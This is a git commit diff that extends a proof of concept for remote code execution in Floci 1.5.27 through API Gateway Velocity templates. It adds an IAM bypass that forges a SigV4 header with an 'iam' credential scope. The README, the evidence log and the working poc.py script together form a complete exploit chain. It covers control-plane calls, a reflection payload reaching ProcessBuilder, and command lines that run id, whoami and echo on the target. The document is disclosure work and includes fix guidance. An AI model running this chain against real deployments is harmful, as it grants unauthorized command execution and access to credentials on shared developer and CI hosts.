Add Floci IAM scope bypass chain

This commit is contained in:
ashton
2026-06-23 23:31:21 -05:00
parent ad1ce161d6
commit a14ed1ec99
3 changed files with 150 additions and 29 deletions

View File

@@ -1,19 +1,22 @@
# Floci 1.5.27 API Gateway VTL RCE PoC # Floci 1.5.27 API Gateway VTL RCE + IAM Scope Bypass PoC
This directory documents and validates an API Gateway Velocity Template Language RCE in Floci `1.5.27`. This directory documents and validates an API Gateway Velocity Template Language RCE in Floci `1.5.27`, plus an IAM enforcement bypass that can be chained into the same RCE path.
Floci evaluates user-controlled API Gateway mapping templates with Apache Velocity. The exposed template objects allow reflection from `$util` into `java.lang.ProcessBuilder`. An attacker who can create or update an API Gateway integration response can store a malicious response template, invoke the API, and execute an operating-system command in the Floci JVM process. Floci evaluates user-controlled API Gateway mapping templates with Apache Velocity. The exposed template objects allow reflection from `$util` into `java.lang.ProcessBuilder`. An attacker who can create or update an API Gateway integration response can store a malicious response template, invoke the API, and execute an operating-system command in the Floci JVM process.
The new chain weakens the main precondition. With IAM enforcement enabled, Floci derives the IAM action from the service name inside the SigV4 credential scope. If an API Gateway control-plane request is sent with a non-API-Gateway scope such as `iam`, Floci cannot map the request to an API Gateway action and defaults to allow. A denied or low-privilege key can therefore still create, configure, deploy, and invoke the malicious API Gateway template in affected configurations.
Research status: verified locally end to end through Floci's HTTP API and a standalone PoC. Research status: verified locally end to end through Floci's HTTP API and a standalone PoC.
## Affected Target ## Affected Target
- Product: Floci - Product: Floci
- Version analyzed: `1.5.27` - Version analyzed: `1.5.27`
- Commit analyzed: `238294e779d0cd24835ba04d7bb16b1e1fd15f76` - Latest commit rechecked: `7efb280dbcf6f5ea8faab28f1c7d5f8c3f59b4e0`
- Service surface: API Gateway REST API integration response templates - Service surface: API Gateway REST API integration response templates and IAM enforcement
- Impact: command execution in the Floci server process - Impact: command execution in the Floci server process
- Default exposure note: IAM policy enforcement is disabled by default - Default exposure note: IAM policy enforcement is disabled by default
- Chained exposure note: IAM enforcement can be bypassed with a wrong SigV4 credential-scope service on API Gateway control-plane routes
## Impact ## Impact
@@ -21,15 +24,19 @@ When a Floci instance exposes its AWS-compatible API endpoint to an attacker, th
In the validated local run, the payload executed `cmd.exe /c echo FLOCI_STANDALONE_POC>...` and created a marker file from the Floci process. On Linux targets the same primitive can run `sh -c '<command>'`. In the validated local run, the payload executed `cmd.exe /c echo FLOCI_STANDALONE_POC>...` and created a marker file from the Floci process. On Linux targets the same primitive can run `sh -c '<command>'`.
The IAM bypass was validated with enforcement enabled. A real IAM user with a policy denying `apigateway:POST` received `403` when using a correct `apigateway` credential scope, then succeeded with the same key when the credential scope was changed to `iam`.
Severity is critical for exposed Floci deployments where untrusted users can reach the API Gateway control plane. It is high to critical for shared developer or CI environments because the command runs with the Floci process privileges and can access local credentials, mounted project files, Docker credentials, service data, and adjacent emulator state available to that process. Severity is critical for exposed Floci deployments where untrusted users can reach the API Gateway control plane. It is high to critical for shared developer or CI environments because the command runs with the Floci process privileges and can access local credentials, mounted project files, Docker credentials, service data, and adjacent emulator state available to that process.
## Preconditions ## Preconditions
- The attacker can reach Floci's HTTP endpoint. - The attacker can reach Floci's HTTP endpoint.
- API Gateway service support is enabled. - API Gateway service support is enabled.
- The attacker can call API Gateway REST control-plane endpoints such as `/restapis`.
- IAM enforcement is disabled or does not block the attacker's API Gateway control-plane calls.
- The target host has an executable command path matching the supplied `--argv`. - The target host has an executable command path matching the supplied `--argv`.
- One of the following is true:
- IAM enforcement is disabled, which is the default.
- IAM enforcement is enabled, but the attacker can supply a parseable SigV4 Authorization header accepted by the Floci HTTP stack.
- IAM enforcement is enabled, but the attacker has any usable low-privilege or denied key and sends API Gateway control-plane requests with a wrong service scope such as `iam`.
Floci's default application config enables API Gateway and disables IAM policy enforcement: Floci's default application config enables API Gateway and disables IAM policy enforcement:
@@ -46,6 +53,8 @@ services:
## Root Cause ## Root Cause
### VTL RCE
The API Gateway integration response API stores attacker-controlled `responseTemplates` without sandboxing them as untrusted code: The API Gateway integration response API stores attacker-controlled `responseTemplates` without sandboxing them as untrusted code:
```text ```text
@@ -77,6 +86,33 @@ $util.getClass().forName('java.lang.ProcessBuilder')
From there, the template can construct a `ProcessBuilder`, start a process, and wait for completion. From there, the template can construct a `ProcessBuilder`, start a process, and wait for completion.
### IAM Wrong-Scope Bypass
IAM enforcement extracts the service name from the SigV4 credential scope:
```text
Credential=<access-key>/<date>/<region>/<service>/aws4_request
```
That extracted `<service>` value is passed into action resolution. API Gateway actions are only mapped when the credential-scope service is `apigateway`. If the same API Gateway request is sent with `iam`, action resolution returns `null`.
The enforcement filter treats `null` action mappings as allowed:
```text
action = actionRegistry.resolve(credentialScope, ctx)
if action == null:
allow
```
This means a request like the following can bypass API Gateway IAM authorization checks:
```text
Authorization: AWS4-HMAC-SHA256 Credential=<key>/20260623/us-east-1/iam/aws4_request, SignedHeaders=host, Signature=test
POST /restapis
```
The same pattern applies to the subsequent API Gateway control-plane calls needed to place and deploy the malicious response template.
## Exploit Flow ## Exploit Flow
The PoC performs the following HTTP sequence: The PoC performs the following HTTP sequence:
@@ -94,6 +130,8 @@ The PoC performs the following HTTP sequence:
The malicious response template is stored at step 7 and executed at step 10. The malicious response template is stored at step 7 and executed at step 10.
When `--bypass-iam` is used, steps 1 through 9 carry a SigV4-shaped `Authorization` header whose credential scope uses `iam` instead of `apigateway`.
## Payload ## Payload
The PoC uses a `ProcessBuilder(List<String>)` path so command arguments are preserved: The PoC uses a `ProcessBuilder(List<String>)` path so command arguments are preserved:
@@ -111,25 +149,38 @@ The PoC uses a `ProcessBuilder(List<String>)` path so command arguments are pres
## Files ## Files
- `poc.py` - stdlib-only Python exploit driver with target host and port supplied by CLI. - `poc.py` - stdlib-only Python exploit driver with optional IAM bypass Authorization support.
- `evidence/2026-06-23-local-verification.txt` - local verification transcript. - `evidence/2026-06-23-local-verification.txt` - local verification transcript.
## Usage ## Usage
Linux target marker: Default unauthenticated/default-config path:
```bash ```bash
python3 poc.py --host 127.0.0.1 --port 4566 --argv sh -c 'id > /tmp/floci_vtl_rce' python3 poc.py --host 127.0.0.1 --port 4566 --argv sh -c 'id > /tmp/floci_vtl_rce'
cat /tmp/floci_vtl_rce cat /tmp/floci_vtl_rce
``` ```
Windows target marker: IAM wrong-scope bypass path with a known access key:
```bash
python3 poc.py --host 127.0.0.1 --port 4566 --bypass-iam --auth-access-key AKIAEXAMPLE --argv sh -c 'id > /tmp/floci_vtl_rce'
cat /tmp/floci_vtl_rce
```
Equivalent Windows target marker:
```powershell ```powershell
python poc.py --host 127.0.0.1 --port 4566 --argv cmd.exe /c "whoami > C:/Temp/floci_vtl_rce.txt" python poc.py --host 127.0.0.1 --port 4566 --bypass-iam --auth-access-key AKIAEXAMPLE --argv cmd.exe /c "whoami > C:/Temp/floci_vtl_rce.txt"
Get-Content C:\Temp\floci_vtl_rce.txt Get-Content C:\Temp\floci_vtl_rce.txt
``` ```
Use a raw Authorization header instead of generated header fields:
```bash
python3 poc.py --host 127.0.0.1 --port 4566 --authorization 'AWS4-HMAC-SHA256 Credential=AKIAEXAMPLE/20260623/us-east-1/iam/aws4_request, SignedHeaders=host, Signature=test' --argv sh -c 'id > /tmp/floci_vtl_rce'
```
Leave the created REST API in place for inspection: Leave the created REST API in place for inspection:
```bash ```bash
@@ -147,7 +198,7 @@ Expected success output shape:
## Local Verification ## Local Verification
The finding was verified in two ways. The original RCE was verified in two ways.
First, a Quarkus/JUnit end-to-end test drove Floci's HTTP API in-process and asserted marker creation: First, a Quarkus/JUnit end-to-end test drove Floci's HTTP API in-process and asserted marker creation:
@@ -175,6 +226,20 @@ Result:
C:\Temp\floci_standalone_poc.txt => FLOCI_STANDALONE_POC C:\Temp\floci_standalone_poc.txt => FLOCI_STANDALONE_POC
``` ```
The IAM bypass chain was verified against latest upstream commit `7efb280dbcf6f5ea8faab28f1c7d5f8c3f59b4e0` with IAM enforcement enabled:
```powershell
.\mvnw.cmd -Dtest=ApiGatewayIamBypassRegressionTest test
```
Result:
```text
Tests run: 1, Failures: 0, Errors: 0, Skipped: 0
Correct apigateway scope: HTTP 403 for denied apigateway:POST
Wrong iam scope: created API, stored response template, deployed stage, executed template
```
## Fix Direction ## Fix Direction
Do not evaluate API Gateway mapping templates with unrestricted Java reflection. A defensive patch should: Do not evaluate API Gateway mapping templates with unrestricted Java reflection. A defensive patch should:
@@ -182,8 +247,14 @@ Do not evaluate API Gateway mapping templates with unrestricted Java reflection.
- configure Velocity with a secure uberspector and deny reflection/classloader/process access; - configure Velocity with a secure uberspector and deny reflection/classloader/process access;
- expose only API Gateway-compatible helper methods, not arbitrary Java object graphs; - expose only API Gateway-compatible helper methods, not arbitrary Java object graphs;
- add regression tests that prove `$util.getClass()`, `Class.forName`, `ProcessBuilder`, `Runtime`, and classloader access are unavailable from templates; - add regression tests that prove `$util.getClass()`, `Class.forName`, `ProcessBuilder`, `Runtime`, and classloader access are unavailable from templates;
- treat API Gateway templates as untrusted data-plane code and isolate evaluation from the Floci JVM where practical; - treat API Gateway templates as untrusted data-plane code and isolate evaluation from the Floci JVM where practical.
- require authorization for API Gateway control-plane mutation endpoints when Floci is bound beyond localhost.
For the IAM bypass, authorization must not trust the caller-controlled credential-scope service as the sole source of truth for the requested service. A defensive patch should:
- resolve the service/action from the matched route or resource handler, not only from `Credential=.../<service>/aws4_request`;
- fail closed when an authenticated request has no action mapping;
- fail closed for unknown access keys when enforcement is enabled;
- reject or separately handle requests whose credential-scope service disagrees with the matched API route.
## Responsible Use ## Responsible Use

View File

@@ -1,18 +1,19 @@
Target: Target:
Floci 1.5.27 Floci 1.5.27
Commit 238294e779d0cd24835ba04d7bb16b1e1fd15f76 Original RCE commit analyzed: 238294e779d0cd24835ba04d7bb16b1e1fd15f76
Latest upstream commit rechecked for IAM bypass chain: 7efb280dbcf6f5ea8faab28f1c7d5f8c3f59b4e0
JUnit E2E command: Original JUnit RCE command:
.\mvnw.cmd '-Denforcer.skip=true' '-Dmaven.compiler.release=21' '-Dmaven.compiler.enablePreview=true' '-DargLine=--enable-preview' '-Dtest=ApiGatewayVtlRceExploitTest' test .\mvnw.cmd '-Denforcer.skip=true' '-Dmaven.compiler.release=21' '-Dmaven.compiler.enablePreview=true' '-DargLine=--enable-preview' '-Dtest=ApiGatewayVtlRceExploitTest' test
JUnit E2E result: Original JUnit RCE result:
Tests run: 1, Failures: 0, Errors: 0, Skipped: 0 Tests run: 1, Failures: 0, Errors: 0, Skipped: 0
target\apigw-vtl-rce-marker.txt => FLOCI_APIGW_VTL_RCE target\apigw-vtl-rce-marker.txt => FLOCI_APIGW_VTL_RCE
Standalone PoC command: Original standalone PoC command:
python poc.py --host 127.0.0.1 --port 4566 --argv cmd.exe /c "echo FLOCI_STANDALONE_POC>C:/Temp/floci_standalone_poc.txt" python poc.py --host 127.0.0.1 --port 4566 --argv cmd.exe /c "echo FLOCI_STANDALONE_POC>C:/Temp/floci_standalone_poc.txt"
Standalone PoC result: Original standalone PoC result:
[+] REST API id: d1e873f2f8 [+] REST API id: d1e873f2f8
[+] Resource id: cfd975b9 [+] Resource id: cfd975b9
[+] Trigger response: {"ok":true,"exit":"0"} [+] Trigger response: {"ok":true,"exit":"0"}
@@ -21,3 +22,22 @@ Standalone PoC result:
POC_EXIT=0 POC_EXIT=0
MARKER_EXISTS=True MARKER_EXISTS=True
C:\Temp\floci_standalone_poc.txt => FLOCI_STANDALONE_POC C:\Temp\floci_standalone_poc.txt => FLOCI_STANDALONE_POC
IAM bypass regression command:
.\mvnw.cmd -Dtest=ApiGatewayIamBypassRegressionTest test
IAM bypass regression result:
Tests run: 1, Failures: 0, Errors: 0, Skipped: 0
Correct apigateway credential scope was denied:
HTTP 403
IAM enforcement DENY: action=apigateway:POST
Wrong iam credential scope was allowed with the same access key:
Created REST API
Created API Gateway resource
Stored responseTemplates entry
Created deployment and stage
Executed /execute-api/{apiId}/prod/probe
Observed template-controlled HTTP 207 response
Standalone wrong-scope bypass command shape:
python poc.py --host 127.0.0.1 --port 4566 --bypass-iam --auth-access-key AKIAEXAMPLE --argv cmd.exe /c "echo FLOCI_BYPASS_CHAIN>C:/Temp/floci_bypass_chain.txt"

View File

@@ -6,12 +6,14 @@ import urllib.error
import urllib.request import urllib.request
def request_json(method, base_url, path, body=None): def request_json(method, base_url, path, body=None, authorization=None):
data = None data = None
headers = {"Accept": "application/json"} headers = {"Accept": "application/json"}
if body is not None: if body is not None:
data = json.dumps(body).encode() data = json.dumps(body).encode()
headers["Content-Type"] = "application/json" headers["Content-Type"] = "application/json"
if authorization is not None:
headers["Authorization"] = authorization
req = urllib.request.Request(base_url + path, data=data, headers=headers, method=method) req = urllib.request.Request(base_url + path, data=data, headers=headers, method=method)
try: try:
with urllib.request.urlopen(req, timeout=15) as resp: with urllib.request.urlopen(req, timeout=15) as resp:
@@ -54,25 +56,44 @@ def payload(argv):
) )
def exploit(base_url, argv, cleanup): def sigv4_authorization(access_key, date, region, scope, signature):
return (
f"AWS4-HMAC-SHA256 Credential={access_key}/{date}/{region}/{scope}/aws4_request, "
f"SignedHeaders=host, Signature={signature}"
)
def control_plane_authorization(args):
if args.authorization:
return args.authorization
if args.bypass_iam and not args.auth_access_key:
raise ValueError("--bypass-iam requires --auth-access-key or --authorization")
if not args.auth_access_key:
return None
scope = "iam" if args.bypass_iam else args.auth_scope
return sigv4_authorization(args.auth_access_key, args.auth_date, args.auth_region, scope, args.auth_signature)
def exploit(base_url, argv, cleanup, authorization):
stamp = str(int(time.time())) stamp = str(int(time.time()))
template = payload(argv) template = payload(argv)
api = require(request_json("POST", base_url, "/restapis", {"name": f"vtl-rce-{stamp}"}), 201, "create REST API") api = require(request_json("POST", base_url, "/restapis", {"name": f"vtl-rce-{stamp}"}, authorization), 201, "create REST API")
api_id = api["id"] api_id = api["id"]
print(f"[+] REST API id: {api_id}") print(f"[+] REST API id: {api_id}")
resources = require(request_json("GET", base_url, f"/restapis/{api_id}/resources"), 200, "list resources") resources = require(request_json("GET", base_url, f"/restapis/{api_id}/resources", authorization=authorization), 200, "list resources")
root_id = resources["item"][0]["id"] root_id = resources["item"][0]["id"]
resource = require(request_json("POST", base_url, f"/restapis/{api_id}/resources/{root_id}", {"pathPart": "rce"}), 201, "create resource") resource = require(request_json("POST", base_url, f"/restapis/{api_id}/resources/{root_id}", {"pathPart": "rce"}, authorization), 201, "create resource")
resource_id = resource["id"] resource_id = resource["id"]
print(f"[+] Resource id: {resource_id}") print(f"[+] Resource id: {resource_id}")
require(request_json("PUT", base_url, f"/restapis/{api_id}/resources/{resource_id}/methods/GET", {"authorizationType": "NONE"}), 201, "create method") require(request_json("PUT", base_url, f"/restapis/{api_id}/resources/{resource_id}/methods/GET", {"authorizationType": "NONE"}, authorization), 201, "create method")
require(request_json("PUT", base_url, f"/restapis/{api_id}/resources/{resource_id}/methods/GET/responses/200", {"responseParameters": {}}), 201, "create method response") require(request_json("PUT", base_url, f"/restapis/{api_id}/resources/{resource_id}/methods/GET/responses/200", {"responseParameters": {}}, authorization), 201, "create method response")
require( require(
request_json( request_json(
"PUT", "PUT",
base_url, base_url,
f"/restapis/{api_id}/resources/{resource_id}/methods/GET/integration", f"/restapis/{api_id}/resources/{resource_id}/methods/GET/integration",
{"type": "MOCK", "requestTemplates": {"application/json": '{"statusCode": 200}'}}, {"type": "MOCK", "requestTemplates": {"application/json": '{"statusCode": 200}'}},
authorization,
), ),
201, 201,
"create integration", "create integration",
@@ -83,19 +104,20 @@ def exploit(base_url, argv, cleanup):
base_url, base_url,
f"/restapis/{api_id}/resources/{resource_id}/methods/GET/integration/responses/200", f"/restapis/{api_id}/resources/{resource_id}/methods/GET/integration/responses/200",
{"selectionPattern": "", "responseTemplates": {"application/json": template}}, {"selectionPattern": "", "responseTemplates": {"application/json": template}},
authorization,
), ),
201, 201,
"create integration response", "create integration response",
) )
deployment = require(request_json("POST", base_url, f"/restapis/{api_id}/deployments", {"description": "vtl-rce"}), 201, "create deployment") deployment = require(request_json("POST", base_url, f"/restapis/{api_id}/deployments", {"description": "vtl-rce"}, authorization), 201, "create deployment")
deployment_id = deployment["id"] deployment_id = deployment["id"]
require(request_json("POST", base_url, f"/restapis/{api_id}/stages", {"stageName": "prod", "deploymentId": deployment_id}), 201, "create stage") require(request_json("POST", base_url, f"/restapis/{api_id}/stages", {"stageName": "prod", "deploymentId": deployment_id}, authorization), 201, "create stage")
status, raw, parsed = request_json("GET", base_url, f"/execute-api/{api_id}/prod/rce") status, raw, parsed = request_json("GET", base_url, f"/execute-api/{api_id}/prod/rce")
if status != 200: if status != 200:
raise RuntimeError(f"trigger failed: HTTP {status}: {raw[:500]}") raise RuntimeError(f"trigger failed: HTTP {status}: {raw[:500]}")
print(f"[+] Trigger response: {raw.strip()}") print(f"[+] Trigger response: {raw.strip()}")
if cleanup: if cleanup:
deleted = request_json("DELETE", base_url, f"/restapis/{api_id}") deleted = request_json("DELETE", base_url, f"/restapis/{api_id}", authorization=authorization)
print(f"[+] Cleanup delete REST API: HTTP {deleted[0]}") print(f"[+] Cleanup delete REST API: HTTP {deleted[0]}")
return parsed return parsed
@@ -107,9 +129,17 @@ def main():
parser.add_argument("--scheme", default="http", choices=("http", "https")) parser.add_argument("--scheme", default="http", choices=("http", "https"))
parser.add_argument("--argv", nargs="+", required=True) parser.add_argument("--argv", nargs="+", required=True)
parser.add_argument("--no-cleanup", action="store_true") parser.add_argument("--no-cleanup", action="store_true")
parser.add_argument("--authorization")
parser.add_argument("--auth-access-key")
parser.add_argument("--auth-date", default="20260623")
parser.add_argument("--auth-region", default="us-east-1")
parser.add_argument("--auth-scope", default="apigateway")
parser.add_argument("--auth-signature", default="test")
parser.add_argument("--bypass-iam", action="store_true")
args = parser.parse_args() args = parser.parse_args()
try: try:
exploit(f"{args.scheme}://{args.host}:{args.port}", args.argv, not args.no_cleanup) authorization = control_plane_authorization(args)
exploit(f"{args.scheme}://{args.host}:{args.port}", args.argv, not args.no_cleanup, authorization)
return 0 return 0
except Exception as exc: except Exception as exc:
print(f"[-] {exc}", file=sys.stderr) print(f"[-] {exc}", file=sys.stderr)